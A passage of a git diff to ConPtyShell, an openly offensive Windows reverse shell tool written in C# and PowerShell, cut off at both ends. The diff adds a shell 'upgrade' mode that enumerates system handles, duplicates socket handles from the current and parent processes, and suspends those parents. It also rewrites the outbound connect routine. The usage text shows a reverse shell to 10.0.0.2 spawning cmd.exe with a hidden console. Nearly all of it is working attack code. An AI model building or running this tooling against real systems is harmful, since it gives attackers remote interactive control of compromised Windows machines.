bufferSize=256; - bool readSuccess = false; Int32 bytesSent = 0; uint dwBytesRead=0; do{ byte[] bytesToWrite = new byte[bufferSize]; readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); - bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); - + bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0); } while (bytesSent > 0 && readSuccess); } @@ -420,43 +840,64 @@ private static void ThreadReadSocketWritePipe(object threadParams) return thReadSocketWritePipe; } - public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){ - string output = ""; - IntPtr shellSocket = connectRemote(remoteIp, remotePort); - if(shellSocket == IntPtr.Zero){ - output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); - return output; - } - TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); - IntPtr InputPipeRead = new IntPtr(0); - IntPtr InputPipeWrite = new IntPtr(0); - IntPtr OutputPipeRead = new IntPtr(0); - IntPtr OutputPipeWrite = new IntPtr(0); - IntPtr handlePseudoConsole = new IntPtr(0); - IntPtr oldStdIn = new IntPtr(0); - IntPtr oldStdOut = new IntPtr(0); - IntPtr oldStdErr = new IntPtr(0); + public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell){ + IntPtr shellSocket = IntPtr.Zero; + IntPtr InputPipeRead = IntPtr.Zero; + IntPtr InputPipeWrite = IntPtr.Zero; + IntPtr OutputPipeRead = IntPtr.Zero; + IntPtr OutputPipeWrite = IntPtr.Zero; + IntPtr handlePseudoConsole = IntPtr.Zero; + IntPtr oldStdIn = IntPtr.Zero; + IntPtr oldStdOut = IntPtr.Zero; + IntPtr oldStdErr = IntPtr.Zero; bool newConsoleAllocated = false; + bool parentSocketInherited = false; + bool grandParentSocketInherited = false; + bool conptyCompatible = false; + string output = ""; + Process currentProcess = null; + Process parentProcess = null; + Process grandParentProcess = null; + + if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) + conptyCompatible = true; + PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); - if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){ - Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); - STARTUPINFO sInfo = new STARTUPINFO(); - sInfo.cb = Marshal.SizeOf(sInfo); - sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; - sInfo.hStdInput = InputPipeRead; - sInfo.hStdOutput = OutputPipeWrite; - sInfo.hStdError = OutputPipeWrite; - CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); - } - else{ - Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n"); + + if(conptyCompatible){ + Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); + if(upgradeShell){ + currentProcess = Process.GetCurrentProcess(); + parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); + grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); + shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess); + if(shellSocket != IntPtr.Zero){ + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); + if(parentProcess != null) + parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); + } + else + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); + if(grandParentProcess != null) + grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); + } + else{ + shellSocket = connectRemote(remoteIp, remotePort); + if(shellSocket == IntPtr.Zero){ + output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); + return output; + } + TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); + } if(GetConsoleWindow() == IntPtr.Zero){ AllocConsole(); ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } + //Console.WriteLine("Creating pseudo console..."); + //return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if(pseudoConsoleCreationResult != 0) { @@ -465,6 +906,26 @@ private static void ThreadReadSocketWritePipe(object threadParams) } childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); } + else{ + if(upgradeShell){ + output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); + return output; + } + shellSocket = connectRemote(remoteIp, remotePort); + if(shellSocket == IntPtr.Zero){ + output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); + return output; + } + Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); + STARTUPINFO sInfo = new STARTUPINFO(); + sInfo.cb = Marshal.SizeOf(sInfo); + sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; + sInfo.hStdInput = InputPipeRead; + sInfo.hStdOutput = OutputPipeWrite; + sInfo.hStdError = OutputPipeWrite; + CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); + } + // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released // when the ConPTY is destroyed. @@ -473,8 +934,12 @@ private static void ThreadReadSocketWritePipe(object threadParams) //Threads have better performance than Tasks Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); + if(upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle); + if(upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); WaitForSingleObject(childProcessInfo.hProcess, INFINITE); //cleanup everything + if(upgradeShell && parentSocketInherited) NtResumeProcess(parentProcess.Handle); + if(upgradeShell && grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); closesocket(shellSocket); @@ -537,7 +1002,10 @@ public static class ConPtyShellMainClass{ Spawn a reverse shell (cmd.exe) with specific rows and cols size ConPtyShell.exe 10.0.0.2 3001 30 90 cmd.exe - + + Upgrade your current shell with specific rows and cols size + ConPtyShell.exe upgrade shell 30 90 + "; private static bool HelpRequired(string param) @@ -547,11 +1015,8 @@ private static bool HelpRequired(string param) private static void CheckArgs(string[] arguments) { - if(arguments.Length < 2){ - Console.Out.Write("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); - System.Environment.Exit(0); - } - + if(arguments.Length < 2) + throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); } private static void DisplayHelp() @@ -562,20 +1027,14 @@ private static void DisplayHelp() private static string CheckRemoteIpArg(string ipString){ IPAddress address; if (!IPAddress.TryParse(ipString, out address)) - { - Console.Out.Write("\r\nConPtyShell: Invalid remoteIp value {0}\r\n", ipString); - System.Environment.Exit(0); - } + throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString); return ipString; } private static int CheckInt(string arg){ int ret = 0; if (!Int32.TryParse(arg, out ret)) - { - Console.Out.Write("\r\nConPtyShell: Invalid integer value {0}\r\n", arg); - System.Environment.Exit(0); - } + throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg); return ret; } @@ -609,12 +1068,19 @@ private static void DisplayHelp() else { CheckArgs(args); - string remoteIp = CheckRemoteIpArg(args[0]); - int remotePort = CheckInt(args[1]); + string remoteIp = ""; + int remotePort = 0; + bool upgradeShell = false; + if(args[0].Contains("upgrade")) + upgradeShell = true; + else{ + remoteIp = CheckRemoteIpArg(args[0]); + remotePort = CheckInt(args[1]); + } uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); - output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine); + output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; } diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1 index 42d42f2..18c0a93 100644 --- a/Invoke-ConPtyShell.ps1 +++ b/Invoke-ConPtyShell.ps1 @@ -1,5 +1,3 @@ -#Requires -Version 2 - function Invoke-ConPtyShell { <# @@ -62,14 +60,21 @@ function Invoke-ConPtyShell ----------- Spawn a reverse shell (cmd.exe) with specific rows and cols size + .EXAMPLE + PS>Invoke-ConPtyShell -Upgrade -Rows 30 -Cols 90 + + Description + ----------- + Upgrade your current shell with specific rows and cols size + #> Param ( - [Parameter(Position = 0, Mandatory = $True)] + [Parameter(Position = 0)] [String] $RemoteIp, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1)] [String] $RemotePort, @@ -83,8 +88,27 @@ function Invoke-ConPtyShell [Parameter()] [String] - $CommandLine = "powershell.exe" + $CommandLine = "powershell.exe", + + [Parameter()] + [Switch] + $Upgrade ) + + if( $PSBoundParameters.ContainsKey('Upgrade') ) { + $RemoteIp = "upgrade" + $RemotePort = "shell" + } + else{ + + if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) { + throw "RemoteIp missing parameter" + } + + if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) { + throw "RemotePort missing parameter" + } + } $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) Add-Type -TypeDefinition $Source -Language CSharp; $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) @@ -99,6 +123,426 @@ using System.Threading; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; +using System.Diagnostics; + +public class ConPtyShellException : Exception +{ + private const string error_string = "[-] ConPtyShellException: "; + + public ConPtyShellException(){} + + public ConPtyShellException(string message) : base(error_string + message){} +} + +public class DeadlockCheckHelper{ + + private bool deadlockDetected; + private IntPtr targetHandle; + + private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError=true)] + private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + + [DllImport("Kernel32.dll", SetLastError=true)] + private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); + + private uint ThreadCheckDeadlock(uint threadParams) + { + SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); + this.deadlockDetected = false; + return 0; + } + + public bool CheckDeadlockDetected(IntPtr tHandle){ + this.deadlockDetected = true; + this.targetHandle = tHandle; + LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); + IntPtr hThread = IntPtr.Zero; + uint threadId = 0; + //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... + hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); + WaitForSingleObject(hThread, 1000); + //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. + //just some waste of threads :( + CloseHandle(hThread); + return this.deadlockDetected; + } +} + +public static class SocketHijacking{ + + private const uint NTSTATUS_SUCCESS = 0x00000000; + private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; + private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; + private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; + private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + private const int WSA_FLAG_OVERLAPPED = 0x1; + private const int DUPLICATE_SAME_ACCESS = 0x2; + private const int SystemHandleInformation = 16; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct SYSTEM_HANDLE + { + public ushort ProcessId; + public ushort CreatorBackTrackIndex; + public byte ObjectTypeNumber; + public byte HandleAttribute; + public ushort Handle; + public IntPtr Object; + public IntPtr GrantedAccess; + } + + public enum OBJECT_INFORMATION_CLASS : int + { + ObjectBasicInformation = 0, + ObjectNameInformation = 1, + ObjectTypeInformation = 2, + ObjectAllTypesInformation = 3, + ObjectHandleInformation = 4 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct OBJECT_NAME_INFORMATION + { + public UNICODE_STRING Name; + } + + [StructLayout(LayoutKind.Sequential)] + private struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + [Flags] + private enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + + [StructLayout(LayoutKind.Sequential)] + private struct WSAData + { + public short wVersion; + public short wHighVersion; + public short iMaxSockets; + public short iMaxUdpDg; + public IntPtr lpVendorInfo; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] + public string szDescription; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] + public string szSystemStatus; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)] + private struct WSAPROTOCOLCHAIN { + public int ChainLen; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=7)] + public uint[] ChainEntries; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)] + private struct WSAPROTOCOL_INFO { + public uint dwServiceFlags1; + public uint dwServiceFlags2; + public uint dwServiceFlags3; + public uint dwServiceFlags4; + public uint dwProviderFlags; + public Guid ProviderId; + public uint dwCatalogEntryId; + public WSAPROTOCOLCHAIN ProtocolChain; + public int iVersion; + public int iAddressFamily; + public int iMaxSockAddr; + public int iMinSockAddr; + public int iSocketType; + public int iProtocol; + public int iProtocolMaxOffset; + public int iNetworkByteOrder; + public int iSecurityScheme; + public uint dwMessageSize; + public uint dwProviderReserved; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst=256)] + public string szProtocol; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKADDR_IN + { + public short sin_family; + public short sin_port; + public uint sin_addr; + public long sin_zero; + } + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); + + [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] + private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] + private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] + private static extern Int32 WSAGetLastError(); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] + private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("ntdll.dll")] + private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength); + + [DllImport("ntdll.dll")] + private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); + + + //helper method with "dynamic" buffer allocation + private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) + { + if (infoLength == 0) + infoLength = 0x10000; + IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); + while (true) + { + uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); + if (result == NTSTATUS_SUCCESS) + return infoPtr; + Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful + if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) + { + //throw new Exception("Unhandled NtStatus " + result); + return IntPtr.Zero; + } + infoPtr = Marshal.AllocHGlobal(infoLength); + } + } + + //helper method with "dynamic" buffer allocation + public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) + { + if (infoLength == 0) + infoLength = Marshal.SizeOf(typeof(int)); + IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); + uint result; + while (true) + { + result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); + + if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) + { + Marshal.FreeHGlobal(infoPtr); + infoPtr = Marshal.AllocHGlobal((int)infoLength); + continue; + } + else if (result == NTSTATUS_SUCCESS) + break; + else + { + //throw new Exception("Unhandled NtStatus " + result); + break; + } + } + + if (result == NTSTATUS_SUCCESS) + return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it + else + Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful + + return IntPtr.Zero; + } + + + + public static IntPtr GetSocketTargetProcess(Process targetProcess) + { + OBJECT_NAME_INFORMATION objNameInfo; + long HandlesCount = 0; + IntPtr dupHandle; + IntPtr ptrObjectName; + IntPtr ptrHandlesInfo; + IntPtr hTargetProcess; + string strObjectName; + IntPtr socketHandle = IntPtr.Zero; + DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); + + hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id); + if(hTargetProcess == IntPtr.Zero){ + Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); + return socketHandle; + } + ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); + HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); + // move pointer to the beginning of the address of SYSTEM_HANDLE[] + ptrHandlesInfo = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size); + for(int i=0; i < HandlesCount; i++){ + SYSTEM_HANDLE sysHandle = (SYSTEM_HANDLE)Marshal.PtrToStructure(ptrHandlesInfo, typeof(SYSTEM_HANDLE)); + //move pointer to next SYSTEM_HANDLE + ptrHandlesInfo = (IntPtr)(ptrHandlesInfo.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE())); + if(sysHandle.ProcessId != targetProcess.Id || sysHandle.ObjectTypeNumber != 0x25) + continue; + + if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.Handle, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){ + if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles + //Console.WriteLine("Deadlock detected"); + CloseHandle(dupHandle); + continue; + } + ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); + if (ptrObjectName == IntPtr.Zero){ + CloseHandle(dupHandle); + continue; + } + objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); + if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0 ) + { + strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer); + //Console.WriteLine("strObjectName " + strObjectName); + if(strObjectName == "\\Device\\Afd"){ + socketHandle = dupHandle; + break; + } + else{ + if(ptrObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ptrObjectName); + CloseHandle(dupHandle); + } + } + CloseHandle(dupHandle); + } + } + return socketHandle; + } + + public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){ + IntPtr parentSocketHandle = IntPtr.Zero; + SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); + SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); + int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); + int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); + parentSocketHandle = GetSocketTargetProcess(parentProcess); + + if(parentSocketHandle == IntPtr.Zero) + return false; + if(getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0){ + Console.WriteLine("getpeername sockaddrTargetProcess failed with wsalasterror " + WSAGetLastError().ToString()); + CloseHandle(parentSocketHandle); + return false; + } + if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ + Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString()); + CloseHandle(parentSocketHandle); + return false; + } + if(sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port){ + CloseHandle(parentSocketHandle); + return true; + } + CloseHandle(parentSocketHandle); + return false; + } + + public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) + { + IntPtr targetSocketHandle = IntPtr.Zero; + IntPtr dupSocketHandle = IntPtr.Zero; + targetSocketHandle = GetSocketTargetProcess(targetProcess); + if(targetSocketHandle == IntPtr.Zero ) + throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); + else{ + WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); + WSAData data; + if( WSAStartup(2 << 8 | 2, out data) != 0 ) + throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); + int status = WSADuplicateSocket(targetSocketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); + if (status != 0) { + Console.WriteLine("WSADuplicateSocket failed with error " + status.ToString() + " and wsalasterror " + WSAGetLastError().ToString() ); + return dupSocketHandle; + } + dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); + if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) { + Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString()); + return dupSocketHandle; + } + } + return dupSocketHandle; + } +} + +// source from --> https://stackoverflow.com/a/3346055 +[StructLayout(LayoutKind.Sequential)] +public struct ParentProcessUtilities +{ + // These members must match PROCESS_BASIC_INFORMATION + internal IntPtr Reserved1; + internal IntPtr PebBaseAddress; + internal IntPtr Reserved2_0; + internal IntPtr Reserved2_1; + internal IntPtr UniqueProcessId; + internal IntPtr InheritedFromUniqueProcessId; + + [DllImport("ntdll.dll")] + private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); + + public static Process GetParentProcess() + { + return GetParentProcess(Process.GetCurrentProcess().Handle); + } + + public static Process GetParentProcess(int id) + { + Process process = Process.GetProcessById(id); + return GetParentProcess(process.Handle); + } + + public static Process GetParentProcess(IntPtr handle) + { + ParentProcessUtilities pbi = new ParentProcessUtilities(); + int returnLength; + int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); + if (status != 0) + throw new ConPtyShellException(status.ToString()); + + try + { + return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); + } + catch (ArgumentException) + { + // not found + return null; + } + } +} public static class ConPtyShell { @@ -110,7 +554,7 @@ public static class ConPtyShell private const uint CREATE_NO_WINDOW = 0x08000000; private const int STARTF_USESTDHANDLES = 0x00000100; private const int BUFFER_SIZE_PIPE = 1048576; - + private const int WSA_FLAG_OVERLAPPED = 0x1; private const UInt32 INFINITE = 0xFFFFFFFF; private const int SW_HIDE = 0; private const uint GENERIC_READ = 0x80000000; @@ -123,6 +567,8 @@ public static class ConPtyShell private const int STD_OUTPUT_HANDLE = -11; private const int STD_ERROR_HANDLE = -12; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFOEX { @@ -177,6 +623,29 @@ public static class ConPtyShell public short Y; } + [StructLayout(LayoutKind.Sequential)] + private struct WSAData + { + public short wVersion; + public short wHighVersion; + public short iMaxSockets; + public short iMaxUdpDg; + public IntPtr lpVendorInfo; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] + public string szDescription; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] + public string szSystemStatus; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKADDR_IN + { + public short sin_family; + public short sin_port; + public uint sin_addr; + public long sin_zero; + } + [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); @@ -251,30 +720,79 @@ public static class ConPtyShell [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - private static Socket ConnectSocket(string remoteIp, int remotePort){ - Socket s = null; - IPAddress remoteIpInt = IPAddress.Parse(remoteIp); - IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort); - Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp); - try{ - shellSocket.Connect(ipEndpoint); - if(shellSocket.Connected) - s = shellSocket; - byte[] banner = Encoding.ASCII.GetBytes("\r\nConPtyShell - @splinter_code\r\n"); - s.Send(banner); + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); + + [DllImport("ws2_32.dll", SetLastError = true)] + private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); + + [DllImport("ws2_32.dll", SetLastError = true)] + private static extern ushort htons(ushort hostshort); + + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern uint inet_addr(string cp); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] + private static extern Int32 WSAGetLastError(); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); + + [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int closesocket(IntPtr s); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); + + [DllImport("ntdll.dll")] + private static extern uint NtSuspendProcess(IntPtr processHandle); + + [DllImport("ntdll.dll")] + private static extern uint NtResumeProcess(IntPtr processHandle); + + private static IntPtr connectRemote(string remoteIp, int remotePort) + { + int port = 0; + int error = 0; + string host = remoteIp; + + try { + port = Convert.ToInt32(remotePort); + } catch { + throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); } - catch{ - s = null; + + WSAData data; + if( WSAStartup(2 << 8 | 2, out data) != 0 ) { + error = WSAGetLastError(); + throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", error)); + } + + IntPtr socket = IntPtr.Zero; + socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); + + SOCKADDR_IN sockinfo = new SOCKADDR_IN(); + sockinfo.sin_family = (short)2; + sockinfo.sin_addr = inet_addr(host); + sockinfo.sin_port = (short)htons((ushort)port); + + if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { + error = WSAGetLastError(); + throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error)); } - return s; + + return socket; } - private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){ + private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){ Thread.Sleep(500);//little tweak for slower connections - if (shellSocket.Available > 0){ + try{ byte[] received = new byte[100]; int rowsTemp, colsTemp; - int bytesReceived = shellSocket.Receive(received); + int bytesReceived = recv(shellSocket, received, 100, 0); string sizeReceived = 